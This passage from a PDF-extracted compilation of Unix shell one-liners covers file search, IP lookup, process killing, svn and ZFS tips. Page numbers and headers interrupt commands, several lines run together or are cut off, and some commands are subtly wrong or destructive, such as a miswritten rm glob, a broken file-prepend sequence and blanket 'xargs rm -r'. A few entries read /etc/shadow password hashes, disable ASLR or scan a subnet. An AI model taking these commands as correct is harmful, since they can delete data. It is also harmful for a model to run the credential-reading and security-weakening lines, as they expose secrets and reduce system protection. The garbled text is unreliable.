# Find in all files in the current directory, just a find shorthand
find ./ -name $1 -exec grep -H -n $2 '{}' ';'
# Replace with XFCE Window Manager
xfwm4 --replace
# Find today created files
find -maxdepth 1 -type f -newermt "00:00" -printf "%f\n" | sort
# determine if CPU is 32-bit or 64-bit
grep lm /proc/cpuinfo
# Sorted list of established destination connections
netstat | grep EST | awk '{print $5}' | sort
# Change default values on Foundry (Brocade) RX and MLX BigIron L3 (routers & switches)
system max <some value>
# Remove all the files except abc in the directory
rm *[!teste0,teste1,teste2]
# Forward connections
ssh -g -L 8080:localhost:80 root@$HOST
# Cat files in a directory; for loop command
for file in ./*; do cat "$file"; sleep 0.3
# Group page count in pmwiki data base
cd /path/to/pmwiki/wiki.d;/bin/ls -1 | perl -ne 'my ($group,$name)=split(/\./);
$counts{$group}++;' -e 'END { foreach $group (sort keys %counts) {printf("%d\t%s\n",
$counts{$group},$group);} }'|sort -rn
# Show "Max" settings for PHP

577 / 658

All UNIX COMMANDS


php -i|grep -i max
# Recursively remove .svn directories
rm -rf `find . -name .svn`
# Outgoing IP of server
wget http://www.whatismyip.org --quiet -O - | cat
# resize a NTFS partition
ntfsresize --size X[k,M.G] /dev/hda1
# Dump 389ds schema
ldapsearch -xLLL -b "cn=schema" "(objectclass=*)" \
-p0e 's/\n //g'

\* objectclasses attributetypes | perl

# Calculates fake folder checksum based on folder's files' md5sums


find path/to/folder/ -type f -print0 | xargs -0 -n 1 md5sum | awk '{print $1}' | sort |
md5sum | awk '{print $1}'

# Extract all 7zip files in current directory taking filename spaces into account
7za x \*.zip
# NMAP_UNDERGROUND_VECTRA
nmap -sS -O -v -oS - 192.168.2.0/24
# Quick alias for playing music.
alias mux='clear && cd ~/Music/ && ls && echo -n "File> " && read msi && mplayer ~/Music/
$msi'
# convert Unix newlines to DOS newlines
sed 's/$'"/`echo \\\r`/"
# What is my ip?
lynx --dump "http://checkip.dyndns.org"
# What is my ip?
w3m miip.cl | grep ip
# A little bash daemon =)
echo "Starting Daemon"; ( while :; do sleep 15; echo "I am still running =]"; done ) &
disown -h $!
# Generate an XKCD #936 style 4 word password
cat /usr/share/dict/words | grep -P ^[a-z].* | grep -v "'s$" | grep -Pv ^.\{1,15\}$ | shuf
-n4 | tr '\n' ' ' | sed 's/$/\n/'
# cd canonical (resolve any symlinks)
alias cdc='cd `pwd -P`'
# What is my ip?
w3m http://amit-agarwal.co.in/mystuff/getip_txt.php will return the ip in text format.
# Burn an ISO on commandline with wodim instead cdrecord
wodim foo.iso
# Show live HTTP requests being made on OS X
sudo tcpdump -i en1 -n -s 0 -w - | grep -a -o -E "Host\: .*|GET \/.*"

578 / 658

All UNIX COMMANDS


# Renames all files in the current directory such that the new file contains no space
characters.
rename 's/ /_/g' *
# Unmount all mounted SAMBA/Windows shares
umount -t smbfs
# gzip vs bzip2 at compressing random strings?
< /dev/urandom tr -dc A-Za-z0-9_ | head -c $((1024 * 1024)) | tee >(gzip -c > out.gz)
>(bzip2 -c > out.bz) > /dev/null
# What Type of Computer Do You Have?
cat /sys/devices/virtual/dmi/id/board_name
# Find MAC address of Active Eth connection
/sbin/ifconfig|grep -B 1 inet |head -1 | awk '{print $5}'
# Move files around local filesystem with tar without wasting space using an intermediate
tarball.
tar -C <source> -cf - . | tar -C <destination> -xf # Rezip a bunch of files
find . -name "*.gz" | xargs -n 1 -I {} bash -c "gunzip -c {} | sort | gzip -c --best >
{}.new ; rm {} ; mv {}.new {}"
# Quickly re-launch your script (python for example)
while read ; do python <script> ; done
# List all password hashes
cat /etc/shadow
# Get your IP addresses
ifconfig | grep -o "inet [^ ]*" | cut -d: -f2
# Update all packages installed via homebrew
brew update && brew upgrade
# Find files and list them sorted by modification time
find . -type f -exec ls -tr {} +
# Append output to the beginning of a file.
command > tmp && cat logfile.txt >> tmp && tmp > logfile.txt && rm tmp

# Go to end of current command line


CTRL + e
# kill all instances of an annoying or endless, thread-spawning process
ps auxwww | grep outofcontrolprocess | awk '{print $2}' | xargs kill -9
# Kills all processes for a certain program
kill -9 $(pidof process)
# Find files and list them sorted by modification time
ls -rl --time-style=+%s * | sed '/^$/,/^total [0-9]*$/d' | sort -nk6
# Show directories in the PATH, one per line
echo src::${PATH} | awk 'BEGIN{pwd=ENVIRON["PWD"];RS=":";FS="\n"}!$1{$1=pwd}$1!~/^\//
{$1=pwd"/"$1}{print $1}'

579 / 658

All UNIX COMMANDS


# Convert all the symbolic links in $PWD to copies of the referenced files
for FILE in `ls -1`; do if [ -L "$FILE" ]; then cp $(readlink "$FILE") ${FILE}_rf; rm -f
$FILE; mv ${FILE}_rf "$FILE"; fi; done
# reset the bizzarre gone junk terminal to normal
echo "Xc" | tr "Xo" "\033\017
# Cleanly quit KDE4 apps
kquitapp plasma
# Replace spaces with tabs & format file source recursuvely within a directory
find $DIR -name *.php -exec vim -u NONE -c 'set ft=php'
-c 'set shiftwidth=4' -c 'set
tabstop=4' -c 'set noexpandtab!' -c 'set noet' -c 'retab!' -c 'bufdo! "execute normal gg=G"'
-c wq {} \;
# Delete all empty lines from a file with vim
ggqqqqq/^$dd@qq@q
# color grep with specification of colors with GREP_COLOR env variable
setenv GREP_COLOR '1;37;41'
# Recursively deletes DIR directories
find . -type d -name DIR -print0 | xargs -r0 rm -r
# Find all uses of PHP constants in a set of files
$class=ExampleClass; $path=src; for constant in `grep ' const ' $class.php | awk '{print
$2;}'`; do grep -r "$class::$constant" $path; done
# commit message generator - whatthecommit.com
curl -s http://whatthecommit.com/ | tr -s '\n' ' ' | grep -so 'p>\(.*\)</p' | sed -n 's/..\
(.*\)..../\1/p'
# Update many subversion projects which reside in one directory
for d in $(find . -maxdepth 1 -type d -name '[^.]*'); do cd "$d"; svn up; cd ..; done
# Identify files uniquly in a FS with inode numer
ls -i1 filename
# irssi log histogram
awk '/^--- Day changed (.*)/ {st=""; for (i=0;i<ar[date];i++) {st=st"*"} print date" "st;
date=$7"-"$5"-"$6} /> emergency/ {ar[date]++} END {st=""; for (i=0;i<ar[date];i++)
{st=st"*"}; print date" "st}' #engineyard.log
# Function to remove a password from a PDF
passpdf(){ for i; do qpdf --password=<YOUR PASSWD> --decrypt "$i" "new$i"; done; }
# Buscar archivos con la extension mp3 y mostrar el conteo de resultados
find -D rates . -name "*.mp3" -type f
# An alias for pasting code/data into terminal without it doing anything. Add to .bashrc
alias cn='cat > /dev/null'
# Write and run a quick C program
cat | gcc -x c -o a.out - && ./a.out && rm a.out
# Read multiple lines of a file based on regex matching a single line
for i in `grep -n "SomeRegEx" foo.txt | sed 's/:/ /' | awk '{print $1}'`; do echo "head -n
`echo "$i+4" | bc` foo.txt | tail -n 5"; done > headsandtails.sh

580 / 658

All UNIX COMMANDS


# Randomize GNU grep's color
cgrep() { GREP_COLOR="1;3$((RANDOM%6+1))" grep --color=always "$@" }
# Fast searh Ubntu software repo
alias acs='apt-cache search'
# wget ? server to server files transfer
wget -H -r ?level=1 -k -p http://www.domain.com/folder/

# Get KDE version


kded --version | awk -F: 'NR == 2 {print $2}' | sed 's/\s\+//g'
# MAC OS X: audible notification after a long command
long_command; say I am all done
# Individually compress each file in a directory
ls | while read filename; do tar -czvf "$filename".tar.gz "$filename"; rm "$filename"; done
# Create & mount 'encrypted filesystem' on a partition or file
cryptmount -m <name>
# List by size all of the directories in a given tree.
SEARCHPATH=/var/; find $SEARCHPATH -type d -print0 | xargs -0 du -s 2> /dev/null | sort -nr
| sed 's|^.*'$SEARCHPATH'|'$SEARCHPATH'|' | xargs du -sh 2> /dev/null
# strip ^M character from files in VI
:%s/<control-VM>//g
# Backup a file before editing it.
man emacs
# get a random number in bash
echo $[RANDOM % 100] # range 0-99
# oneliner to open several times same application
i="0"; while [ $i -lt 5 ] ; do xpenguins & i=$[$i+1] ; done
# Generate MD5 of string and output only the hash checksum
echo -n "String to MD5" | md5sum | cut -f1 -d' '
# grep files by date and delete
ls -ltr |grep 'May 12'|awk '{print $9;}'|xargs rm -v
# List your FLAC albums
find -iname '*.flac' | sed 's:/[^/]*$::' | uniq
# Get your external IP address
html2text http://checkip.dyndns.org | grep -i 'Current IP Address:'|cut -d' ' -f4
# Create dummy file
dd if=/dev/zero of=filename.file bs=1024 count=10240
# unpack all rars in current folder
unrar x *.rar
# Sync two directories
rsync -a -v --delete sending_directory target_directory

581 / 658

All UNIX COMMANDS


# View entire process string
/usr/ucb/ps -auxgww
# count number of CPU available for members of a given Virtual Organization
echo `lcg-infosites --vo lhcb ce | cut -f 1| grep [[:digit:]]| tr '\n' '+' |sed -e 's/\ //g'
-e 's/+$//'`|bc -l
# Get connections from a SSH tunnel
netstat -t -p --extend | grep USERNAME
# a find and replace within text-based files
find /path/ -type f -exec grep -l '<string of text>' {} \; | xargs sed -i -e 's%<string of
text>%<new text string>%g'
# Minimize CSS/JS while preserving functionality.
gominify() { if [ $# -ne 2 ]; then echo 'gominify < src > < dst >'; return; fi; s="$1";
d="$2"; java -jar yui.jar $s >$d; if [ $? == 0 ]; then a=$( ls -sh $s | awk '{print $1}' );
b=$( ls -sh $d | awk '{print $1}' ); echo "Saved $s ($a) to $d ($b)"; fi;}
# Move files older than 30 days in current folder to
find . -mtime +30 -exec mv {} old/ \;
# watch filesizes (c.f. logfiles, file downloading, etc.)
while [ 1 ]; do date; ls -l /path/to/dir; sleep 1; done
# Remove all files previously extracted from a tar(.gz) file.
tar -tf <file.tar.gz> | parallel rm
# Batch file suffix renaming
rename -n "s/-.*//" *

# read a file with table like data


echo 1 2 3 > FILE; while read -a line; do echo ${line[2]}; done < FILE
# Network Interfaces
ip link
# generate random password
tr -dc 'a-zA-Z0-9' < /dev/urandom | fold -w 10 | sed 1q
# Kill XMMS for a cron job
kill `ps aux | grep xmms | grep -v grep | awk '{ print $2 }'`
# A handy calculator
bc
# add all files not under version control to repository
svn status |grep '\?' |awk '{print $2}'| parallel -Xj1 svn add
# Leap year calculation
leapyear() { if [ $[$1 % 4] -eq 0 ] && [ $[$1 % 100] -ne 0 ] || [ $[$1 % 400] -eq 0 ]; then
echo $1' is a leap year!'; else echo $1' is not a leap year.'; fi; }
# get newest file in current directory
ls -t1 | head -n1
# get line#1000 from text.
head -1000 < lines.txt | tail -1

582 / 658

All UNIX COMMANDS


# Kill XMMS for a cron job
killall xmms
# Display unique values of a column
cut -f 3 | uniq
# Back up a PLESK Installation
/opt/psa/bin/pleskbackup server -v --output-file=plesk_server.bak
# Check your ip public using dyndns.org
wget -O - -q http://checkip.dyndns.org/ | cut -d':' -f2 | cut -d'<' -f1| cut -c2# Commit all the changes in your java code
svn st | grep /main/java | awk '{print $2}' | xargs echo | xargs svn ci -m "my comment here"
# Check if file is greater than 20 bytes, such as an empty gzip archive
BACKUP_FILE_SIZE=`eval ls -l ${BACKUP_FILE} | awk {'print $5'}`; if [ $BACKUP_FILE_SIZE -le
20 ]; then echo "its empty"; else echo "its not empty"; fi
# Minimize CSS/JS while preserving functionality.
java -jar compiler.jar --js file.js
# archive all files containing local changes (svn)
svn st | cut -c 9- | parallel -X tar -czvf ../backup.tgz
# top
top
# search for groups in ldap
ldapsearch -H ldap://localhost:389 -D cn=username,ou=users,dc=domain -x -W -b
ou=groups,dc=domain '(member=cn=username,ou=users,dc=domain)' | grep ^dn | sed "s/dn\: cn=\
([^,]*\),ou=\([^,]*\),.*/\2 \1/"
# Displaying wireless signal on screen in realtime.
watch -n 1 "awk 'NR==3 {print \"Signal strength = \" \$3 \"00 %\"}''' /proc/net/wireless"
# commit message generator - whatthecommit.com
curl -s http://whatthecommit.com | sed -n '/<p>/,/<\/p>/p' | sed '$d' | sed 's/<p>//'
# Get your public IP using chisono.it
wget -O - -q http://www.chisono.it/ip.asp && echo
# List top ten files/directories sorted by size
du -s * | sort -nr | head | cut -f2 | parallel -k du -sh
# Search and replace in VIM
:%s/foo/bar/g
# iiterate through argument list and pass to command
yes|for x in one two three; do echo result - $x; done

# count how many times a string appears in a (source code) tree


grep -rc logged_in app/ | cut -d : -f 2 | awk '{sum+=$1} END {print sum}'
# List the vms in Virtualbox and start them using dmenu
vboxmanage startvm --type gui $(vboxmanage list vms | sed -e 's/"//g' | cut -f1 -d ' ' |
dmenu -i -p "VMs")

583 / 658

All UNIX COMMANDS


# How to add an "alternate access mapping" from the command line
stsadm -o addalternatedomain -url http://paperino.paperopoli.com -urlzone Internet
-incomingurl http://quiquoqua.paperopoli.com
# make a .bak backup copy of all files in directory
for i in * ; do cp $i $i.bak; done
# Creates a random passwort from /dev/urandom [0-9A-za-z]
head -c $((<pw-lenght>-2)) /dev/urandom | uuencode -m - | sed -e '1d' -e '3d' | sed -e
's/=.*$//g'
# Reading my nic's mac address
ifconfig | grep eth | awk '{print $5}'
# Get a list of all contributors to an SVN repo
svn log -q | grep -v "^-" | cut -d "|" -f 2 | sort -u
# exec chmod to subfiles
find . -type f -print0 | xargs -0 chmod a-x
# Compare two directory trees.
diff -qr <dir1> <dir2>
# Find size of the files in this directory tree. (sorted)
find . -type f -exec ls -s \{\} \; | sort -n
# Shows your WAN IP, when you`re sitting behind a router
alias myip='curl -s www.wieistmeineip.de | egrep -o "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[09]{1,3}"'
# search for a pattern (regex) in all text files (ignoring binary files) in a directory tree
egrep -i "somepattern" `find . -type f -print`
# BASH: Print shell variable into AWK
VAR="foo" ; awk '{ print '"$VAR"' }'
# Kill the terminal(window/tab) you work in [suicide]
kill -9 $$
# Print all lines containing the word 'jan' to a new file.
sed -n '/jan\|Jan\|JAN\|JAn\|jAn\|jAN\|jaN/p' data.txt > jan-only-data.txt
# show large folders and files, including hidden
du -shc .[^.]* * | grep [MG]
# Get My Public IP Address
links2 -dump http://checkip.dyndns.com| egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.
[0-9]{1,3}'
# Get all links of a website
wget -O- -q http://www.nomachine.com/download-package.php?Prod_Id=2067 | sed -n -e 'H;$
{x;s/\n/ /g;p;}' | sed -e "s/[Hh][Rr][Ee][Ff]=\"/\n/g" | cut -d "\"" -f1 | sort -u | grep
deb$
# Enable tab completion for known SSH hosts
complete -W "$(echo `cat ~/.ssh/known_hosts | cut -f 1 -d ' ' | sed -e s/,.*//g | uniq |
grep -v "\["`;)" ssh
# Alias nasty quick vim habits

584 / 658

All UNIX COMMANDS


alias ':q'='exit'; alias ':e'='vim';
# Search for a running process through grep
ps -e | grep SearchStringHere
# Get your external IP address
wget http://checkip.dyndns.org && clear && echo && echo My IP && egrep -o '([[:digit:]]
{1,3}\.){3}[[:digit:]]{1,3}' index.html && echo && rm index.html
# psgrep
pgrep <name>
# Removing Backgroud Process
kill -9 `ps -u user -o "pid="`
# Get the latest version of phpMyAdmin
wget http://tools.web4host.net/versions.tmp --quiet -O - | grep PHPMYADMIN | sed
's/PHPMYADMIN=//' | cat

# alias for lsof -i -T -n


alias lso="sudo lsof -i -T -n"
# Get the host from where you logged in
who -m | sed 's/.*(\(.*\)).*/\1/'
# test connection if ICMP is disabled
telnet <ip> <port>
# Random number less than X
RANGE=500;number=$RANDOM let "number %= $RANGE"; echo "Random number less than $RANGE
$number"

---

# Get all links of a website


lynx -dump http://www.domain.com | grep http| awk '{print $2 }'
# Simultaneously running different Firefox profiles
firefox -ProfileManager -no-remote
# View new log messages in real time
tail -f /var/log/messages
# Find the svn directory that a commit was made in. Usefull if you have many projects in
one repository.
echo "12345,12346" |sed -e's/ //'|tr "," "\n"| while read line; do echo -n $line" "; svn
log -vr $line https://url/to/svn/repository/|grep "/"|head -1|cut -d"/" -f2; done
# Find out the starting directory of a script
current_dir=$(cd $(dirname $BASH_SOURCE);pwd)
# Check if TCP port 25 is open
sudo lsof -iTCP:25
# find and kill a pid for APP
ps -ef | grep APP | awk '/grep/!{print$2}' | xargs -i kill {}
# change to the previous working directory
cd $OLDPWD

585 / 658

All UNIX COMMANDS


# kill all processes with name or argument
pkill -f foo
# Sort all the ".dat" files in current directory by column 3 (change it accordingly), and
replace the sorted one with original.
for x in *.dat;do sort -k 3 $x >tmp && mv -f tmp $x;done
# delete duplicate files
yes 1 | fdupes -rd $folder
# Opens the ubuntu file browser from current directory.
nautilus "$pwd"
# Laminate a file
awk '{print(substr($0,1,5))}' file
# Shows users and 'virtual users' on your a unix-type system
cut -d: -f1 /etc/passwd | sort
# Get all links of a website
lynx -dump http://domaim.com | egrep -o -e 'http://[/0-9a-z.]+html'
# Check if TCP port 25 is open
netstat -lntp
# Random Decimal in the interval 0 &#8804; n < 1 and 2d6 dice roll
awk 'BEGIN { srand(); print rand() }'
# Show the UUID of a filesystem or partition
ls /dev/disk/by-uuid/ -alh
# List your MACs address
cat `ls -r /sys/class/net/*/address` | sort -u
# Linux record terminal session and replay
script -t 2> timing.txt -a session.txt ; Run some commands here; exit; scriptreplay
timing.txt session.txt
# Show all "python" executables
type -a python

# Open frequnet/recent file mathcing "movie" with mplayer using f


f -f -e mplayer movie
# Get the IP address of a machine. Just the IP, no junk.
ifconfig -a | awk '/Bcast/{print $2}' | cut -c 5-19
# create tar.gz archive
tar -pczf archive_name.tar.gz /path/to/dir/or/file
# Improve Emacs
alias emacs='vim'
# Display sqlite results one column per line
sqlite3 -line database.db
# Echo the local IP addresses of the machines on your local network
for i in 192.168.1.{61..71};do ping -c 1 $i &> /dev/null && echo $i;fi;done

586 / 658

All UNIX COMMANDS


# How far is Mac OS X 10.6 from 64-bit?
file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -i x86_64 |nl | tail -1 | cut
-f1 -f3; file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -i "mach-o object
i386" |nl | tail -1 | cut -f1 -f3
# Show Network IP and Subnet
IP=`ifconfig eth0 | grep "inet addr:" | ips |cut -d ":" -f 2 | cut -d " " -f
1`;SUBNET=`ifconfig eth0 | grep "inet addr:" | ips |cut -d ":" -f 3 | cut -d " " -f
1`;RANGE=`ipcalc $IP/$SUBNET | grep "Network:" | cut -d ' ' -f 4`;echo $RANGE
# paged 'ls' in color
ls -lah --color=always | most
# finds all files in dir and replaces
find . -type f -exec sed -i 's/gw10./gw17./g' {} \;
# Show all cowsay's available cowfiles
cowsay -l | sed '1d;s/ /\n/g' | while read f; do cowsay -f $f $f;done
# Look for jQuery version script include in files *asp*$, *htm*$ ie. not *.aspx.cs
find . \( -name "*.as[pc]x" -o -name "*.htm*" \) -exec grep -Hi "jquery-1" {} +
# command line calculator (zsh version)
zc () { for exp in $argv; do print "$exp = $(( exp ))"; done; }
# Recompress all files in current directory from gzip to bzip2
find . -type f -name '*.gz'|awk '{print "zcat", $1, "| bzip2 -c >", $0.".tmp", "&& rename",
"s/.gz.tmp/.bz2/", "*.gz.tmp", "&& rm", $0}'|bash
# Find the average QTime for all queries ran within the last hour for solr
cat /service/solr/log/main/current | tai64nlocal | grep "\(`date '+%F %H'`\|`date '+%F %H
%M' | awk '{print $1" 0"$2-1":"$3}'`\)" | grep QTime | awk '{print $NF}' | awk -F\= '{ s +=
$2} END {print s/NR}'
# Get name of first configured interface
ifconfig | grep -B 1 "inet addr:" | head -1 | cut -d" " -f1
# Show local IP
ifconfig eth0 | grep "inet:" | cut -d ":" -f2 | cut -d " " -f1
# pass CHINA GFW
plink -v -ssh -N -D 8580 -l USERNAME -pw PASSWARD 192.168.2.12
# &#38283;&#12356;&#12390;&#12427;&#12509;&#12540;&#12488;&#12434;&#35519;&#12409;&#12427;
lsof -i -n -P
# edit files in current and subdir, remove all lines that containing certain string
grep -r "sampleString" . |uniq | cut -d: -f1 | xargs sed -i "/sampleString/d"
# Easy Regex based mass renaming
ls /some/directory | sed -rn -e 's/input_file_regex/mv -v & output_file_name/p' | sh
# Set background image to random file from current dir.
feh --bg-center `ls -U1 |sort -R |head -1`
# Script para hacer un acopia d ela base de datos mysql
FECHA=$(date +"%F") FINAL="$FECHA.sql.gz" mysqldump -h localhost -u user
--opt jdiaz61_lupajuridica | gzip > /home/jdiaz61/www/backup/$FINAL

587 / 658

--password="pass"

All UNIX COMMANDS


# Find all files and append to file
find . type f -exec echo http://exg.com/{} \; > file
# Set background image to random file from current dir.
feh --bg-center `ls | shuf -n 1`

# Get me only those jpeg files!


wget --mirror -A.jpg http://www.xs4all.nl/~dassel/wall/
# Get the IP address of a machine
ifdata -pN eth0
# Find default gateway
route -n | awk '$2 ~/[1-9]+/ {print $2;}'
# Creating a RAID-Z Storage Pool
zpool create tank raidz c0t0d0 c0t1d0 c0t2d0 c0t3d0 c0t4d0 c0t5d0
# Get ethX mac addresses
sudo ifconfig -a | grep eth | grep HW | cut -d' ' -f11
# Get your public IP using chisono.it
curl http://www.chisono.it/ip.asp
# creates or attachs to screen
screen -r irc || screen -S irc irssi
# Edit any script executable by the user.
nano `which script`
# Creating a Mirrored Storage Pool using Zpool
zpool create tank mirror c0t0d0 c0t1d0 mirror c0t2d0 c0t3d0
# Change password in list of xml files with for and sed
for i in *.xml; do sed -i 's/foo/bar/g' "$i"; done
# if download end,shutdown
for ((;;)) do pgrep wget ||shutdown -h now; sleep 5; done
# Rename files in a directory in an edited list fashion
ls > ls; paste ls ls > ren; nano ren; sed 's/^/mv /' ren|bash; rm ren ls
# Poor man's unsort (randomize lines)
sort --random-sort file
# Open a file with less and go to first match of pattern
less -p pattern file.txt
# Resize images with mogrify with lots of options
find . -name '*.jpg' -o -name '*.JPG' | xargs -I{} mogrify -resize 1024">" -quality 40 {}
# Easy way to check memory consumption
free -m
# Creating a ZFS Storage Pool by Using Files
zpool create tank /path/to/file/a /path/to/file/b
# Remove .svn dirs

588 / 658

All UNIX COMMANDS


find . -name ".svn" -type d -exec rm -rf {} \;
# upload video to ompload (* not yet tested, let me know if works)
ompload() { wget -O- - "$1" --quiet|curl -# -F file1=@- http://ompldr.org/upload|awk
'/Info:|File:|Thumbnail:|BBCode:/{gsub(/<[^<]*?\/?>/,"");$1=$1;print}';}
# Save the network interface info into a text file, so that you can re-apply it later
netsh interface ip dump > current-interfaces.txt
# remove OSX resource forks ._ files
rm -f `find ./ | grep "\.\_.*"`
# Echo several blank lines
perl -e 'print "\n"x100'
# a simple bash one-liner to create php file and call php function
echo '<?php echo str_rot13 ("Hello World") ?>' > hw.php && php hw.php && rm hw.php
# Pulseaudio: play line-in through your speakers
arecord|aplay
# Killing multiplpe process for one program like apache, wget, postfix etc.
ps aux| grep -v grep| grep httpd| awk {'print $2'}| xargs kill -9

# Find out local DISPLAY number


export DISPLAY=$(tr '\000' '\n' < /proc/`pidof Xorg`/cmdline | egrep '^:[0-9]+')
# Make perl crash
perl -e '$x = []; push @$x, eval { $x = 1; return $x = 1; }'
# Fix grub2 boot failure using live cd
sudo grub-install --root-directory=/media/ubuntu /dev/sda
# Finding hostname and the IP Address of your machine
host `hostname`
# Recursive Line Count
wc -l `find . -name *.php`
# view file content with echo
echo "$(</etc/issue)"
# Speak your horoscope with the command line
curl -s 'http://www.trynt.com/astrology-horoscope-api/v2/?m=2&d=23' | xmlstarlet sel -t -m
'//horoscope' -v 'horoscope' | festival --tts
# Execute commands from a file in the current shell
. filename [arguments]
# Add a custom package repository to apt sources.list
echo "[some repository]" | sudo tee -a /etc/apt/sources.list
# Directly change directory without having to specify drive letter change command
cd /d d:\Windows
# IP address of current host
hostname -i

589 / 658

All UNIX COMMANDS


# simple echo of IPv4 IP addresses assigned to a machine
ifconfig | awk '/inet addr/ {print $2 }' | sed 's/.*://g'
# List content of a package (debian derivative distro)
dpkg -L Your_Package
# Forward remote server CUPS port to localhost
ssh -NL 12345:localhost:631 username@remote_server
# set the time of system
sudo date mmddhhxxyyyy
# Command for getting the list of files with perms, owners, groups info. Useful to find the
checksum of 2 machines/images.
find / | xargs ls -l | tr -s ' ' | cut -d ' ' -f 1,3,4,9
# find dis1k space
du -s `find . -maxdepth 1 \! -name '.'` | sort -n | tail
# umount all nfs mounts on machine
mount | awk '/:/ { print $3 } ' | xargs sudo umount
# Show the meta information on a package (dependency , statuts ..) on debian derivative
distro
apt-cache show Your_package
# Transforms a file to all uppercase.
perl -pi -e 's/([[:lower:]]+)/uc $1/gsex' file
# Find files modified in the last 5 days, no more than 2 levels deep in the current
directory.
find . -type f -depth -3 -mtime -5
# Killing multiplpe process for one program like apache, wget, postfix etc.
ps ax| awk '/[h]ttpd/{print $1}'| xargs kill -9
# Find Files over 20Meg
find / -type f -size +20000k -exec ls -lh {} \; | awk '{ print $9 ": " $5 }'
# build cscope.out from all *.{h,cpp}, but ignore hidden files
find `pwd` -name '.*' -prune -o \( -name *.h -o -name *.cpp \) -print | cscope -bi# Read just the IP address of a device
ifconfig $DEVICE | perl -lne '/inet addr:([\d.]+)/ and print $1'

# MS-DOS only: Loop over array of system variable with each var containing multiple values
FOR /F "tokens=3* delims=[]=," %A IN ('SET ARRAY[') DO ( echo %A -- %B )
# Convert files with CR-terminated lines (as created by Mac OS X programs) into NLterminated lines suitable for Unix programs
function crtonl { perl -i -ape 's/\r/\n/g;' $* ; }
# Read just the IP address of a device
/sbin/ifconfig eth0 | grep "inet addr" | sed -e 's/.*inet addr:\(.*\) B.*/\1/g'
# Ruby - nslookup against a list of IP`s or FQDN`s
ruby -e 'File.foreach("list") {|i| print `nslookup #{i}`}'

590 / 658

All UNIX COMMANDS


# Delete all files from a locate output
locate munin | xargs rm -r
# Set your computer's clock, using HTTP and HTP (HTTP Time Protocol), when NTP/SNTP is not
available
htpdate -P proxy www.google.com www.yahoo.com www.commandlinefu.com
# ssh autocomplete
complete -W "$(while IFS=' ,' read host t; do echo $host; done < ~/.ssh/known_hosts)" ssh
# Find the correct PID
pss() { ps -eo pid,args | sed '/'"$1"'/!d;/sed/d' ; }
# Echo PID of the current running command
command & echo $!
# find files owned by root and make them your own again
find . -user root | xargs sudo chown me:me
# Show regular expressions on directory list
lgrep() { /bin/ls -A --color=always ${2:-.} | /bin/grep $1 ; }
# Lists all listening ports together with the PID of the associated process
netstat -tunlp
# Calculate 1**2 + 2**2 + 3**2 + ...
seq -s^2+ 11 |rev| cut -d'+' -f2- | rev | bc
# Find the correct PID
pgrep -fl
# Double Compile system and world on gentoo
emerge -e system && emerge -e system && emerge -e world && emerge -e world
# find all references to a server in web.config files with powershell
ls \\someserver\c$\inetpub\wwwroot -r -i web.config | Select-String "SomeMachineName"
# Print a row of 50 hyphens
printf "%50s\n"|tr ' ' # Display clock in terminal
watch -n 1 :
# Count emails in an MBOX file
grep -c '^From ' mbox_file
# Prefix file contents with filename
for i in $(seq 1 20); do while read line; do echo "$i: $line"; done<$i.py; done
# Print sorted list of all installed packages (Debian)
perl -m'AptPkg::Cache' -le '$c=AptPkg::Cache->new; for (keys %$c){ push @a, $_ if $c->{$_}>{'CurrentState'} eq 'Installed';} print for sort @a;'
# Get Yesterday's Date
YEST=`perl -w -e '@yest=localtime(time-86400);printf "%d%.2d%.2d",
$yest[5]+1900,$yest[4]+1,$yest[3];'`
# Normalize volume in your mp3 library
find . -type d -exec sh -c "normalize-audio -b \"{}\"/*.mp3" \;

591 / 658

All UNIX COMMANDS


# Get Tomorrow's Date
TOM=`perl -w -e '@tom=localtime(time+86400);printf "%d%.2d%.2d",
$tom[5]+1900,$tom[4]+1,$tom[3];'`
# VIM subst any char different from literal
:g/\n"/jo

# Press enter and take a WebCam picture.


-y -r 1 -t 3 -f video4linux2 -vframes 1 -s sxga -i /dev/video0 ~/webcam-$(date +%m_%d_%Y_%H_
%M).jpeg
# List path of binaries
echo $PATH|awk -F: ' { for (i=1; i <= NF; i++) print $i }'
# Generate background office noise using Digg feeds and OSX.
IFS=`echo -en "\n\b"`; for i in $(curl
http://feeds.digg.com/digg/container/technology/popular.rss | grep '<title>' | sed -e
's#<[^>]*>##g' | tail -n10); do echo $i; echo $i | sed 's/^/Did you hear about /g' | say;
sleep 30; done
# substitute in each buffer in the buffer list
:bufdo %s/foo/bar/ge | up
# Print sorted list of all installed packages (Debian)
dpkg --get-selections | awk '$2=="install" {print $1}' | sort
# dont forget commands of old profile
wget http://www.commandlinefu.com/commands/by/e7__7dal
# (Debian/Ubuntu) Discover what package a file belongs to
pacof -e rlogin
# Disable ASLR
echo 0 > /proc/sys/kernel/randomize_va_space
# Open windows executable, file, or folder from cygwin terminal
explorer $( cygpath "/path/to/file_or_exe" -w )
# To retrieve a normal prompt
PS1='$PWD$ '
# Resample MP3's to 44.1kHz
file /music/dir/* | grep -v 44.1 | sed 's/:.*//g' | grep .mp3 | { while IFS= read; do
filebak="\"$REPLY.original\""; file="\"$REPLY\""; mv $file $filebak; sox -t mp3 $filebak
$file rate 44k; done; };
# View memory utilisation
sar -r
# Save lines unique to file2
comm -13 <(sort file1) <(sort file2) > file-new
# easly monitor mem usage
watch -n1 --differences cat /proc/meminfo
# Blinking, Color Highlighted search for input/output and files, like grep --color
hb(){ sed "s/\($*\)/`tput setaf 2;tput setab 0;tput blink`\1`tput sgr0`/gI"; }

592 / 658

All UNIX COMMANDS


# Simple Find
find / -name FILENAME
# Changing Hostname on Mac OS X
sudo scutil --set HostName MY_NEW_HOSTNAME
# Get all the reference docs for OS X from Apples Developer Connection site
wget -nd -nH -r -A pdf -I library/mac/documentation/
http://developer.apple.com/library/mac/navigation/#section=Resource%20Types&topic=Reference
# Push all local branches to remote repo
git push origin --all
# Concatenate Multiple Text Files in Windows
for %%f in (*.json) do type %%f >> aggregate.json
# Unix security checker
tiger
# From an SVN working directory, open the corresponding repository directory in your
favorite browser
xdg-open $(svn info | sed -n '/URL:/s/URL: //p')
# don't auto run gdm
sudo update-rc.d -f gdm remove
# Forget fortunes in your terminal this grabs a random
wget -qO - snubster.com|sed -n '65p'|awk 'gsub(/<span><br>.*/,"")&&1'|perl -p -e
's:myScroller1.addItem\("<span class=atHeaderOrange>::g;s:</span> <span
